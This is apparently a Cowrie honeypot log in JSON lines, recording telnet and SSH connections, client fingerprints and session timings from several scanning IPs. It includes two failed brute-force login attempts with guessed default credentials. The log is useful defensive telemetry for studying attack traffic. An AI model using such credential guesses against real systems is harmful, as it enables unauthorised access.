{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":46640,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f2a7f11cb9e","protocol":"telnet","message":"New connection: 45.81.23.16:46640 (10.17.0.5:23) [session: 5f2a7f11cb9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:17.284814Z"}
{"eventid":"cowrie.session.closed","duration":30.5404109954834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:19.049175Z","src_ip":"144.91.112.66","session":"6f64ec7b43c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":52972,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbbf135a73ec","protocol":"telnet","message":"New connection: 38.60.198.128:52972 (159.203.135.109:23) [session: fbbf135a73ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:22.423913Z"}
{"eventid":"cowrie.session.closed","duration":6.236765146255493,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:23.466694Z","src_ip":"45.81.23.16","session":"74f93290bf5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":55462,"dst_ip":"159.203.135.109","dst_port":23,"session":"dff06363df78","protocol":"telnet","message":"New connection: 38.60.198.128:55462 (159.203.135.109:23) [session: dff06363df78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:24.128423Z"}
{"eventid":"cowrie.session.closed","duration":7.857443571090698,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:25.142136Z","src_ip":"45.81.23.16","session":"5f2a7f11cb9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":43660,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2db21879e4b","protocol":"telnet","message":"New connection: 144.91.112.66:43660 (10.17.0.5:23) [session: d2db21879e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:26.037880Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":41854,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0281a1c266d","protocol":"telnet","message":"New connection: 144.91.112.66:41854 (10.17.0.5:23) [session: d0281a1c266d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:26.350511Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":38480,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0889dd77892","protocol":"telnet","message":"New connection: 38.60.198.128:38480 (159.203.135.109:23) [session: d0889dd77892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:31.627787Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":40520,"dst_ip":"159.203.135.109","dst_port":23,"session":"361b7de17ecc","protocol":"telnet","message":"New connection: 38.60.198.128:40520 (159.203.135.109:23) [session: 361b7de17ecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:32.837994Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":40382,"dst_ip":"10.17.0.5","dst_port":22,"session":"5048e521da5e","protocol":"ssh","message":"New connection: 198.98.56.227:40382 (10.17.0.5:22) [session: 5048e521da5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:34.545571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:34.557773Z","src_ip":"198.98.56.227","session":"5048e521da5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:34.765107Z","src_ip":"198.98.56.227","session":"5048e521da5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.14645504951477,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:35.182584Z","src_ip":"144.91.112.66","session":"2da5c367c0d4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"userpassword","message":"login attempt [user/userpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:35.717531Z","src_ip":"198.98.56.227","session":"5048e521da5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:36.734770Z","src_ip":"198.98.56.227","session":"5048e521da5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47150,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d410cac4f71","protocol":"telnet","message":"New connection: 38.60.198.128:47150 (159.203.135.109:23) [session: 1d410cac4f71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:37.371449Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47500,"dst_ip":"159.203.135.109","dst_port":23,"session":"56297b720ada","protocol":"telnet","message":"New connection: 38.60.198.128:47500 (159.203.135.109:23) [session: 56297b720ada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:37.544892Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":51144,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9864e9cb723","protocol":"telnet","message":"New connection: 38.60.198.128:51144 (159.203.135.109:23) [session: e9864e9cb723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:40.161623Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":53612,"dst_ip":"159.203.135.109","dst_port":23,"session":"af5bd19b82cf","protocol":"telnet","message":"New connection: 38.60.198.128:53612 (159.203.135.109:23) [session: af5bd19b82cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:41.840305Z"}
{"eventid":"cowrie.session.closed","duration":42.01600408554077,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:41.951346Z","src_ip":"38.60.198.128","session":"f1db5583fadf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.0959837436676,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:42.678413Z","src_ip":"38.60.198.128","session":"4209ad39b473","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.39049506187439,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:43.673592Z","src_ip":"192.211.53.160","session":"f00a48c2e9e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":55894,"dst_ip":"10.17.0.5","dst_port":23,"session":"55e81fe89d60","protocol":"telnet","message":"New connection: 144.91.112.66:55894 (10.17.0.5:23) [session: 55e81fe89d60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:43.681050Z"}
{"eventid":"cowrie.session.closed","duration":37.37755012512207,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:44.918301Z","src_ip":"38.60.198.128","session":"ab2cf1fd3534","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":60848,"dst_ip":"10.17.0.5","dst_port":23,"session":"233c5f455f1b","protocol":"telnet","message":"New connection: 144.91.112.66:60848 (10.17.0.5:23) [session: 233c5f455f1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:45.530757Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":39234,"dst_ip":"10.17.0.5","dst_port":23,"session":"79afd2e478d5","protocol":"telnet","message":"New connection: 38.54.119.93:39234 (10.17.0.5:23) [session: 79afd2e478d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:46.708253Z"}
{"eventid":"cowrie.session.closed","duration":38.82789444923401,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:51.859056Z","src_ip":"38.60.198.128","session":"87865b16f82d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41878,"dst_ip":"159.203.135.109","dst_port":23,"session":"f61d5c447d0d","protocol":"telnet","message":"New connection: 38.60.198.128:41878 (159.203.135.109:23) [session: f61d5c447d0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:52.559752Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":40824,"dst_ip":"159.203.135.109","dst_port":23,"session":"429bdfd328df","protocol":"telnet","message":"New connection: 38.60.198.128:40824 (159.203.135.109:23) [session: 429bdfd328df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:53.057735Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":43606,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba2a8c722b9d","protocol":"telnet","message":"New connection: 38.60.198.128:43606 (159.203.135.109:23) [session: ba2a8c722b9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:53.633700Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":58710,"dst_ip":"10.17.0.5","dst_port":23,"session":"5645905fcc74","protocol":"telnet","message":"New connection: 144.91.112.66:58710 (10.17.0.5:23) [session: 5645905fcc74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:56.144244Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":37612,"dst_ip":"159.203.135.109","dst_port":23,"session":"946d2df3b293","protocol":"telnet","message":"New connection: 38.60.198.128:37612 (159.203.135.109:23) [session: 946d2df3b293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:57.163620Z"}
{"eventid":"cowrie.session.closed","duration":31.164406538009644,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:57.202191Z","src_ip":"144.91.112.66","session":"d2db21879e4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92704153060913,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:57.277445Z","src_ip":"144.91.112.66","session":"d0281a1c266d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.5491042137146,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:22:59.741941Z","src_ip":"38.60.198.128","session":"560ea8a93a4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.17980098724365,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:02.603514Z","src_ip":"38.60.198.128","session":"fbbf135a73ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.235395193099976,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:04.363716Z","src_ip":"38.60.198.128","session":"dff06363df78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":55404,"dst_ip":"10.17.0.5","dst_port":23,"session":"39d5d3275384","protocol":"telnet","message":"New connection: 38.54.119.93:55404 (10.17.0.5:23) [session: 39d5d3275384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:05.685252Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60400,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea164d632883","protocol":"telnet","message":"New connection: 38.60.198.128:60400 (159.203.135.109:23) [session: ea164d632883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:07.189847Z"}
{"eventid":"cowrie.session.closed","duration":36.701780557632446,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:08.329453Z","src_ip":"38.60.198.128","session":"d0889dd77892","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":55938,"dst_ip":"159.203.135.109","dst_port":23,"session":"652d8b71959e","protocol":"telnet","message":"New connection: 192.211.53.160:55938 (159.203.135.109:23) [session: 652d8b71959e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:08.386692Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":55984,"dst_ip":"159.203.135.109","dst_port":23,"session":"0dac644f565a","protocol":"telnet","message":"New connection: 192.211.53.160:55984 (159.203.135.109:23) [session: 0dac644f565a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:09.478962Z"}
{"eventid":"cowrie.session.closed","duration":36.85717844963074,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:09.695040Z","src_ip":"38.60.198.128","session":"361b7de17ecc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":56444,"dst_ip":"159.203.135.109","dst_port":23,"session":"67bf956bda0d","protocol":"telnet","message":"New connection: 192.211.53.160:56444 (159.203.135.109:23) [session: 67bf956bda0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:10.000712Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":56448,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad31b21ab366","protocol":"telnet","message":"New connection: 192.211.53.160:56448 (159.203.135.109:23) [session: ad31b21ab366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:10.006647Z"}
{"eventid":"cowrie.session.closed","duration":30.646373987197876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:14.327305Z","src_ip":"144.91.112.66","session":"55e81fe89d60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":57652,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e89384085a0","protocol":"telnet","message":"New connection: 192.211.53.160:57652 (159.203.135.109:23) [session: 2e89384085a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:14.754910Z"}
{"eventid":"cowrie.session.closed","duration":30.52064275741577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:16.051279Z","src_ip":"144.91.112.66","session":"233c5f455f1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":51854,"dst_ip":"10.17.0.5","dst_port":23,"session":"67c6917ada87","protocol":"telnet","message":"New connection: 144.91.112.66:51854 (10.17.0.5:23) [session: 67c6917ada87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:16.423010Z"}
{"eventid":"cowrie.session.closed","duration":59.59980654716492,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:16.573830Z","src_ip":"45.81.23.16","session":"4970aaccf079","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.240886926651,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:17.785704Z","src_ip":"38.60.198.128","session":"56297b720ada","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.055925130844116,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:19.427243Z","src_ip":"38.60.198.128","session":"1d410cac4f71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.215.8.165","src_port":32804,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7c5f3b9b982","protocol":"ssh","message":"New connection: 95.215.8.165:32804 (10.17.0.5:22) [session: e7c5f3b9b982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:19.433109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:19.437565Z","src_ip":"95.215.8.165","session":"e7c5f3b9b982","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45568,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f488fdc4c20","protocol":"telnet","message":"New connection: 38.60.198.128:45568 (159.203.135.109:23) [session: 3f488fdc4c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:19.538592Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:19.606038Z","src_ip":"95.215.8.165","session":"e7c5f3b9b982","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu12","message":"login attempt [root/ubuntu12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:20.013264Z","src_ip":"95.215.8.165","session":"e7c5f3b9b982","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:21.172850Z","src_ip":"95.215.8.165","session":"e7c5f3b9b982","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.54241704940796,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:22.382302Z","src_ip":"38.60.198.128","session":"af5bd19b82cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.563610553741455,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:22.725103Z","src_ip":"38.60.198.128","session":"e9864e9cb723","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":51856,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cc28b386bad","protocol":"telnet","message":"New connection: 38.60.198.128:51856 (159.203.135.109:23) [session: 3cc28b386bad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:23.489587Z"}
{"eventid":"cowrie.session.closed","duration":31.15509343147278,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:27.298934Z","src_ip":"144.91.112.66","session":"5645905fcc74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57492,"dst_ip":"159.203.135.109","dst_port":23,"session":"47872c985289","protocol":"telnet","message":"New connection: 38.60.198.128:57492 (159.203.135.109:23) [session: 47872c985289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:27.947589Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":32878,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1cd156bc331","protocol":"telnet","message":"New connection: 38.60.198.128:32878 (159.203.135.109:23) [session: a1cd156bc331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:31.678641Z"}
{"eventid":"cowrie.session.closed","duration":45.4948627948761,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:32.203024Z","src_ip":"38.54.119.93","session":"79afd2e478d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.23215675354004,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:32.865761Z","src_ip":"38.60.198.128","session":"ba2a8c722b9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.39771103858948,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:32.957383Z","src_ip":"38.60.198.128","session":"f61d5c447d0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.01917099952698,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:33.076800Z","src_ip":"38.60.198.128","session":"429bdfd328df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34210,"dst_ip":"159.203.135.109","dst_port":23,"session":"12690c8d63be","protocol":"telnet","message":"New connection: 38.60.198.128:34210 (159.203.135.109:23) [session: 12690c8d63be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:33.921037Z"}
{"eventid":"cowrie.session.closed","duration":39.43302035331726,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:36.596514Z","src_ip":"38.60.198.128","session":"946d2df3b293","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.506535768508911,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:37.427471Z","src_ip":"38.60.198.128","session":"12690c8d63be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":56716,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e3f12ac5100","protocol":"ssh","message":"New connection: 198.98.56.227:56716 (10.17.0.5:22) [session: 7e3f12ac5100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:23:39.593327Z"}
